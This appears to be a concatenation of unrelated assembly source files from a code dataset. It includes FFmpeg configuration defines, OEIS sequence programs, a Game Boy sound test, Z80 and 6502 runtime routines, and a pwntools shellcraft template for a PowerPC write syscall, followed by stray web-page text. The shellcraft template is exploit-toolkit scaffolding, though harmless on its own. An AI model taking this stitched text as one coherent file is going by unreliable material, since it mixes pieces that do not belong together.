%define CONFIG_HEVC_VDPAU_HWACCEL 0
%define CONFIG_MPEG1_XVMC_HWACCEL 0
%define CONFIG_MPEG1_VDPAU_HWACCEL 0
%define CONFIG_MPEG1_VIDEOTOOLBOX_HWACCEL 0
%define CONFIG_MPEG2_XVMC_HWACCEL 0
%define CONFIG_MPEG2_D3D11VA_HWACCEL 0
%define CONFIG_MPEG2_DXVA2_HWACCEL 0
%define CONFIG_MPEG2_MMAL_HWACCEL 0
%define CONFIG_MPEG2_QSV_HWACCEL 0
%define CONFIG_MPEG2_VAAPI_HWACCEL 0
%define CONFIG_MPEG2_VDPAU_HWACCEL 0
%define CONFIG_MPEG2_VIDEOTOOLBOX_HWACCEL 0
%define CONFIG_MPEG4_VAAPI_HWACCEL 0
%define CONFIG_MPEG4_VDPAU_HWACCEL 0
%define CONFIG_MPEG4_VIDEOTOOLBOX_HWACCEL 0
%define CONFIG_VC1_D3D11VA_HWACCEL 0
%define CONFIG_VC1_DXVA2_HWACCEL 0
%define CONFIG_VC1_VAAPI_HWACCEL 0
%define CONFIG_VC1_VDPAU_HWACCEL 0
%define CONFIG_VC1_MMAL_HWACCEL 0
%define CONFIG_VC1_QSV_HWACCEL 0
%define CONFIG_VP9_D3D11VA_HWACCEL 0
%define CONFIG_VP9_DXVA2_HWACCEL 0
%define CONFIG_VP9_VAAPI_HWACCEL 0
%define CONFIG_WMV3_D3D11VA_HWACCEL 0
%define CONFIG_WMV3_DXVA2_HWACCEL 0
%define CONFIG_WMV3_VAAPI_HWACCEL 0
%define CONFIG_WMV3_VDPAU_HWACCEL 0
%define CONFIG_ALSA_INDEV 0
%define CONFIG_AVFOUNDATION_INDEV 0
%define CONFIG_BKTR_INDEV 0
%define CONFIG_DECKLINK_INDEV 0
%define CONFIG_DSHOW_INDEV 0
%define CONFIG_DV1394_INDEV 0
%define CONFIG_FBDEV_INDEV 0
%define CONFIG_GDIGRAB_INDEV 0
%define CONFIG_IEC61883_INDEV 0
%define CONFIG_JACK_INDEV 0
%define CONFIG_LAVFI_INDEV 0
%define CONFIG_OPENAL_INDEV 0
%define CONFIG_OSS_INDEV 0
%define CONFIG_PULSE_INDEV 0
%define CONFIG_QTKIT_INDEV 0
%define CONFIG_SNDIO_INDEV 0
%define CONFIG_V4L2_INDEV 0
%define CONFIG_VFWCAP_INDEV 0
%define CONFIG_X11GRAB_INDEV 0
%define CONFIG_X11GRAB_XCB_INDEV 0
%define CONFIG_LIBCDIO_INDEV 0
%define CONFIG_LIBDC1394_INDEV 0
%define CONFIG_A64_MUXER 0
%define CONFIG_AC3_MUXER 0
%define CONFIG_ADTS_MUXER 0
%define CONFIG_ADX_MUXER 0
%define CONFIG_AIFF_MUXER 0
%define CONFIG_AMR_MUXER 0
%define CONFIG_APNG_MUXER 0
%define CONFIG_ASF_MUXER 0
%define CONFIG_ASS_MUXER 0
%define CONFIG_AST_MUXER 0
%define CONFIG_ASF_STREAM_MUXER 0
%define CONFIG_AU_MUXER 0
%define CONFIG_AVI_MUXER 0
%define CONFIG_AVM2_MUXER 0
%define CONFIG_BIT_MUXER 0
%define CONFIG_CAF_MUXER 0
%define CONFIG_CAVSVIDEO_MUXER 0
%define CONFIG_CRC_MUXER 0
%define CONFIG_DASH_MUXER 0
%define CONFIG_DATA_MUXER 0
%define CONFIG_DAUD_MUXER 0
%define CONFIG_DIRAC_MUXER 0
%define CONFIG_DNXHD_MUXER 0
%define CONFIG_DTS_MUXER 0
%define CONFIG_DV_MUXER 0
%define CONFIG_EAC3_MUXER 0
%define CONFIG_F4V_MUXER 0
%define CONFIG_FFM_MUXER 0
%define CONFIG_FFMETADATA_MUXER 0
%define CONFIG_FILMSTRIP_MUXER 0
%define CONFIG_FLAC_MUXER 0
%define CONFIG_FLV_MUXER 0
%define CONFIG_FRAMECRC_MUXER 0
%define CONFIG_FRAMEMD5_MUXER 0
%define CONFIG_G722_MUXER 0
%define CONFIG_G723_1_MUXER 0
%define CONFIG_GIF_MUXER 0
%define CONFIG_GXF_MUXER 0
%define CONFIG_H261_MUXER 0
%define CONFIG_H263_MUXER 0
%define CONFIG_H264_MUXER 0
%define CONFIG_HDS_MUXER 0
%define CONFIG_HEVC_MUXER 0
%define CONFIG_HLS_MUXER 0
%define CONFIG_ICO_MUXER 0
%define CONFIG_ILBC_MUXER 0
%define CONFIG_IMAGE2_MUXER 0
%define CONFIG_IMAGE2PIPE_MUXER 0
%define CONFIG_IPOD_MUXER 0
%define CONFIG_IRCAM_MUXER 0
%define CONFIG_ISMV_MUXER 0
%define CONFIG_IVF_MUXER 0
%define CONFIG_JACOSUB_MUXER 0
%define CONFIG_LATM_MUXER 0
%define CONFIG_LRC_MUXER 0
%define CONFIG_M4V_MUXER 0
%define CONFIG_MD5_MUXER 0
%define CONFIG_MATROSKA_MUXER 0
%define CONFIG_MATROSKA_AUDIO_MUXER 0
%define CONFIG_MICRODVD_MUXER 0
%define CONFIG_MJPEG_MUXER 0
%define CONFIG_MLP_MUXER 0
%define CONFIG_MMF_MUXER 0
%define CONFIG_MOV_MUXER 0
%define CONFIG_MP2_MUXER 0
%define CONFIG_MP3_MUXER 0
%define CONFIG_MP4_MUXER 0
%define CONFIG_MPEG1SYSTEM_MUXER 0
%define CONFIG_MPEG1VCD_MUXER 0
%define CONFIG_MPEG1VIDEO_MUXER 0
%define CONFIG_MPEG2DVD_MUXER 0
%define CONFIG_MPEG2SVCD_MUXER 0
%define CONFIG_MPEG2VIDEO_MUXER 0
%define CONFIG_MPEG2VOB_MUXER 0
%define CONFIG_MPEGTS_MUXER 0
%define CONFIG_MPJPEG_MUXER 0
%define CONFIG_MXF_MUXER 0
%define CONFIG_MXF_D10_MUXER 0
%define CONFIG_MXF_OPATOM_MUXER 0
%define CONFIG_NULL_MUXER 0
%define CONFIG_NUT_MUXER 0
%define CONFIG_OGA_MUXER 0
%define CONFIG_OGG_MUXER 0
%define CONFIG_OMA_MUXER 0
%define CONFIG_OPUS_MUXER 0
%define CONFIG_PCM_ALAW_MUXER 0
%define CONFIG_PCM_MULAW_MUXER 0
%define CONFIG_PCM_F64BE_MUXER 0
%define CONFIG_PCM_F64LE_MUXER 0
%define CONFIG_PCM_F32BE_MUXER 0
%define CONFIG_PCM_F32LE_MUXER 0
%define CONFIG_PCM_S32BE_MUXER 0
%define CONFIG_PCM_S32LE_MUXER 0
%define CONFIG_PCM_S24BE_MUXER 0
%define CONFIG_PCM_S24LE_MUXER 0
%define CONFIG_PCM_S16BE_MUXER 0
%define CONFIG_PCM_S16LE_MUXER 0
%define CONFIG_PCM_S8_MUXER 0
%define CONFIG_PCM_U32BE_MUXER 0
%define CONFIG_PCM_U32LE_MUXER 0
%define CONFIG_PCM_U24BE_MUXER 0
%define CONFIG_PCM_U24LE_MUXER 0
%define CONFIG_PCM_U16BE_MUXER 0
%define CONFIG_PCM_U16LE_MUXER 0
%define CONFIG_PCM_U8_MUXER 0
%define CONFIG_PSP_MUXER 0
%define CONFIG_RAWVIDEO_MUXER 0
%define CONFIG_RM_MUXER 0
%define CONFIG_ROQ_MUXER 0
%define CONFIG_RSO_MUXER 0
%define CONFIG_RTP_MUXER 0
%define CONFIG_RTP_MPEGTS_MUXER 0
%define CONFIG_RTSP_MUXER 0
%define CONFIG_SAP_MUXER 0
%define CONFIG_SEGMENT_MUXER 0
%define CONFIG_STREAM_SEGMENT_MUXER 0
%define CONFIG_SINGLEJPEG_MUXER 0
%define CONFIG_SMJPEG_MUXER 0
%define CONFIG_SMOOTHSTREAMING_MUXER 0
%define CONFIG_SOX_MUXER 0
%define CONFIG_SPX_MUXER 0
%define CONFIG_SPDIF_MUXER 0
%define CONFIG_SRT_MUXER 0
%define CONFIG_SWF_MUXER 0
%define CONFIG_TEE_MUXER 0
%define CONFIG_TG2_MUXER 0
%define CONFIG_TGP_MUXER 0
%define CONFIG_MKVTIMESTAMP_V2_MUXER 0
%define CONFIG_TRUEHD_MUXER 0
%define CONFIG_UNCODEDFRAMECRC_MUXER 0
%define CONFIG_VC1_MUXER 0
%define CONFIG_VC1T_MUXER 0
%define CONFIG_VOC_MUXER 0
%define CONFIG_W64_MUXER 0
%define CONFIG_WAV_MUXER 0
%define CONFIG_WEBM_MUXER 0
%define CONFIG_WEBM_DASH_MANIFEST_MUXER 0
%define CONFIG_WEBM_CHUNK_MUXER 0
%define CONFIG_WEBP_MUXER 0
%define CONFIG_WEBVTT_MUXER 0
%define CONFIG_WTV_MUXER 0
%define CONFIG_WV_MUXER 0
%define CONFIG_YUV4MPEGPIPE_MUXER 0
%define CONFIG_CHROMAPRINT_MUXER 0
%define CONFIG_LIBNUT_MUXER 0
%define CONFIG_ALSA_OUTDEV 0
%define CONFIG_CACA_OUTDEV 0
%define CONFIG_DECKLINK_OUTDEV 0
%define CONFIG_FBDEV_OUTDEV 0
%define CONFIG_OPENGL_OUTDEV 0
%define CONFIG_OSS_OUTDEV 0
%define CONFIG_PULSE_OUTDEV 0
%define CONFIG_SDL_OUTDEV 0
%define CONFIG_SNDIO_OUTDEV 0
%define CONFIG_V4L2_OUTDEV 0
%define CONFIG_XV_OUTDEV 0
%define CONFIG_AAC_PARSER 1
%define CONFIG_AAC_LATM_PARSER 0
%define CONFIG_AC3_PARSER 0
%define CONFIG_ADX_PARSER 0
%define CONFIG_BMP_PARSER 0
%define CONFIG_CAVSVIDEO_PARSER 0
%define CONFIG_COOK_PARSER 0
%define CONFIG_DCA_PARSER 0
%define CONFIG_DIRAC_PARSER 0
%define CONFIG_DNXHD_PARSER 0
%define CONFIG_DPX_PARSER 0
%define CONFIG_DVBSUB_PARSER 0
%define CONFIG_DVDSUB_PARSER 0
%define CONFIG_DVD_NAV_PARSER 0
%define CONFIG_FLAC_PARSER 1
%define CONFIG_G729_PARSER 0
%define CONFIG_GSM_PARSER 1
%define CONFIG_H261_PARSER 0
%define CONFIG_H263_PARSER 1
%define CONFIG_H264_PARSER 1
%define CONFIG_HEVC_PARSER 0
%define CONFIG_MJPEG_PARSER 0
%define CONFIG_MLP_PARSER 0
%define CONFIG_MPEG4VIDEO_PARSER 1
%define CONFIG_MPEGAUDIO_PARSER 1
%define CONFIG_MPEGVIDEO_PARSER 0
%define CONFIG_OPUS_PARSER 1
%define CONFIG_PNG_PARSER 0
%define CONFIG_PNM_PARSER 0
%define CONFIG_RV30_PARSER 0
%define CONFIG_RV40_PARSER 0
%define CONFIG_TAK_PARSER 0
%define CONFIG_VC1_PARSER 0
%define CONFIG_VORBIS_PARSER 1
%define CONFIG_VP3_PARSER 1
%define CONFIG_VP8_PARSER 1
%define CONFIG_VP9_PARSER 0
%define CONFIG_ASYNC_PROTOCOL 0
%define CONFIG_BLURAY_PROTOCOL 0
%define CONFIG_CACHE_PROTOCOL 0
%define CONFIG_CONCAT_PROTOCOL 0
%define CONFIG_CRYPTO_PROTOCOL 0
%define CONFIG_DATA_PROTOCOL 0
%define CONFIG_FFRTMPCRYPT_PROTOCOL 0
%define CONFIG_FFRTMPHTTP_PROTOCOL 0
%define CONFIG_FILE_PROTOCOL 0
%define CONFIG_FTP_PROTOCOL 0
%define CONFIG_GOPHER_PROTOCOL 0
%define CONFIG_HLS_PROTOCOL 0
%define CONFIG_HTTP_PROTOCOL 0
%define CONFIG_HTTPPROXY_PROTOCOL 0
%define CONFIG_HTTPS_PROTOCOL 0
%define CONFIG_ICECAST_PROTOCOL 0
%define CONFIG_MMSH_PROTOCOL 0
%define CONFIG_MMST_PROTOCOL 0
%define CONFIG_MD5_PROTOCOL 0
%define CONFIG_PIPE_PROTOCOL 0
%define CONFIG_RTMP_PROTOCOL 0
%define CONFIG_RTMPE_PROTOCOL 0
%define CONFIG_RTMPS_PROTOCOL 0
%define CONFIG_RTMPT_PROTOCOL 0
%define CONFIG_RTMPTE_PROTOCOL 0
%define CONFIG_RTMPTS_PROTOCOL 0
%define CONFIG_RTP_PROTOCOL 0
%define CONFIG_SCTP_PROTOCOL 0
%define CONFIG_SRTP_PROTOCOL 0
%define CONFIG_SUBFILE_PROTOCOL 0
%define CONFIG_TCP_PROTOCOL 0
%define CONFIG_TLS_SCHANNEL_PROTOCOL 0
%define CONFIG_TLS_SECURETRANSPORT_PROTOCOL 0
%define CONFIG_TLS_GNUTLS_PROTOCOL 0
%define CONFIG_TLS_OPENSSL_PROTOCOL 0
%define CONFIG_UDP_PROTOCOL 0
%define CONFIG_UDPLITE_PROTOCOL 0
%define CONFIG_UNIX_PROTOCOL 0
%define CONFIG_LIBRTMP_PROTOCOL 0
%define CONFIG_LIBRTMPE_PROTOCOL 0
%define CONFIG_LIBRTMPS_PROTOCOL 0
%define CONFIG_LIBRTMPT_PROTOCOL 0
%define CONFIG_LIBRTMPTE_PROTOCOL 0
%define CONFIG_LIBSSH_PROTOCOL 0
%define CONFIG_LIBSMBCLIENT_PROTOCOL 0
|
; A063732: Numbers n such that Lucas representation of n excludes L_0 = 2.
; Submitted by Jamie Morken(s1)
; 0,1,3,4,5,7,8,10,11,12,14,15,16,18,19,21,22,23,25,26,28,29,30,32,33,34,36,37,39,40,41,43,44,45,47,48,50,51,52,54,55,57,58,59,61,62,63,65,66,68,69,70,72,73,75,76,77,79,80,81,83,84,86,87,88,90
mov $2,$0
add $0,4
mul $0,3
add $2,1
mul $2,4
div $2,17
sub $0,$2
div $0,2
sub $0,6
|
.size 8000
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
xor a, a
ldff(24), a
ldff(25), a
ldff(26), a
ld a, 80
ldff(26), a
ld b, 35
ld c, 04
lwaitbegin:
dec b
jrnz lwaitbegin
dec c
jrnz lwaitbegin
nop
nop
nop
ld a, 3d
ldff(16), a
ld a, f0
ldff(17), a
ld a, 00
ldff(18), a
ld a, c7
ldff(19), a
ld b, f9
ld c, 06
lwait:
dec b
jrnz lwait
dec c
jrnz lwait
nop
nop
nop
ld a, 07
ldff(19), a
ld a, 77
ldff(24), a
ld a, 22
ldff(25), a
limbo:
jr limbo
|
XLIB add_pause_int
XREF pause_procs
;==============================================================
; add_pause_int(void *ptr)
;==============================================================
; Adds a pause interrupt handler
;==============================================================
.add_pause_int
ld hl, 2
add hl, sp
ld c, (hl) ; Proc address
inc hl
ld b, (hl)
ld hl, pause_procs
.loop
ld a,(hl)
inc hl
or (hl)
jr z, found
inc hl
jr loop
.found
ld (hl), b
dec hl
ld (hl), c
ret
|
// Experiments with malloc() - a word array
// Commodore 64 PRG executable file
.file [name="malloc-1.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(__start)
.const SIZEOF_UNSIGNED_INT = 2
// Top of the heap used by malloc()
.label HEAP_TOP = $a000
.label WORDS = malloc.return
.segment Code
__start: {
// word* WORDS = malloc(0x200)
jsr malloc
jsr main
rts
}
// Allocates a block of size chars of memory, returning a pointer to the beginning of the block.
// The content of the newly allocated block of memory is not initialized, remaining with indeterminate values.
// void * malloc(unsigned int size)
malloc: {
.const size = $200
.label mem = HEAP_TOP-size
.label return = mem
// }
rts
}
main: {
.label w = 2
lda #<WORDS
sta.z w
lda #>WORDS
sta.z w+1
ldx #0
__b1:
// *w++ = i
txa
ldy #0
sta (w),y
tya
iny
sta (w),y
// *w++ = i;
lda #SIZEOF_UNSIGNED_INT
clc
adc.z w
sta.z w
bcc !+
inc.z w+1
!:
// for( byte i: 0..255)
inx
cpx #0
bne __b1
// }
rts
}
|
; Z88 Small C+ Run time Library
; Moved functions over to proper libdefs
; To make startup code smaller and neater!
;
; 6/9/98 djm
;
; Optimization...check for equality
SECTION code_crt0_sccz80
PUBLIC l_pint_eq
; store int from HL into (DE)
.l_pint_eq
ld a,l
ld (de),a
inc de
ld a,h
ld (de),a
or l
ret
|
; A097714: Repeatedly convert from sexagesimal to centesimal, starting with 60.
; 60,100,140,220,340,540,900,1500,2500,4140,6900,11500,19140,31900,53140,88540,147540,245900,409820,683020,1138340,1897220,3162020,5270020,8783340,14638900,24398140,40663540,67772540,112954220,188257020
lpb $0,1
sub $0,1
div $1,3
add $1,1
mul $1,5
lpe
div $1,5
mul $1,40
add $1,60
|
<%
from pwnlib.shellcraft.powerpc.linux import syscall
%>
<%page args="fd, buf, n"/>
<%docstring>
Invokes the syscall write. See 'man 2 write' for more information.
Arguments:
fd(int): fd
buf(void): buf
n(size_t): n
</%docstring>
${syscall('SYS_write', fd, buf, n)}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.